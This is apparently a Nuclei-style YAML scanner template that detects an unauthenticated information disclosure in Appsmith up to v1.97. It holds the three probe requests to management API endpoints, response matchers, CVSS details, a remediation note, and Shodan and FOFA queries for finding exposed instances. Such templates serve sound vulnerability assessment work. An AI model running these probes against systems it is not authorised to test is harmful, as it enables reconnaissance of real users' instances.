id: appsmith-info-disclosure

info:
  name: Appsmith <= v1.97 - Information Disclosure
  author: ritikchaddha
  severity: medium
  description: |
    Appsmith <= v1.97 instance management API endpoints are accessible without authentication, allowing an attacker to obtain sensitive information such as license plan, instance ID, authentication providers, feature flags, and configuration metadata via unauthenticated requests to specific API endpoints.
  impact: |
    Attackers can extract detailed information about Appsmith enterprise features, authentication methods, and configuration, enabling more focused and effective attacks against the instance and its users.
  remediation: |
    Restrict unauthenticated access to the management API endpoints and ensure that only authorized users can retrieve sensitive configuration information.
  reference:
    - https://github.com/appsmithorg/appsmith/security/advisories/GHSA-qvvc-prjx-f85j
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    vendor: appsmith
    product: appsmith
    shodan-query: http.title:"Appsmith"
    fofa-query: title="Appsmith"
  tags: appsmith,disclosure,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/consolidated-api/view"
      - "{{BaseURL}}/api/v1/users/features"
      - "{{BaseURL}}/api/v1/tenants/current"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"responseMeta":{'
          - 'status":200,"success":true'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'
# digest: 4a0a004730450221008830a6a239a2a9c4eb95652646d335cd2b6a5faf5afa55555eb873d9555ccdd00220171f4d20d9701a8b61dced2e3324b9edbb4772c3ecdf551b269021ac782d4b63:922c64590222798bb761d5b6d8e72950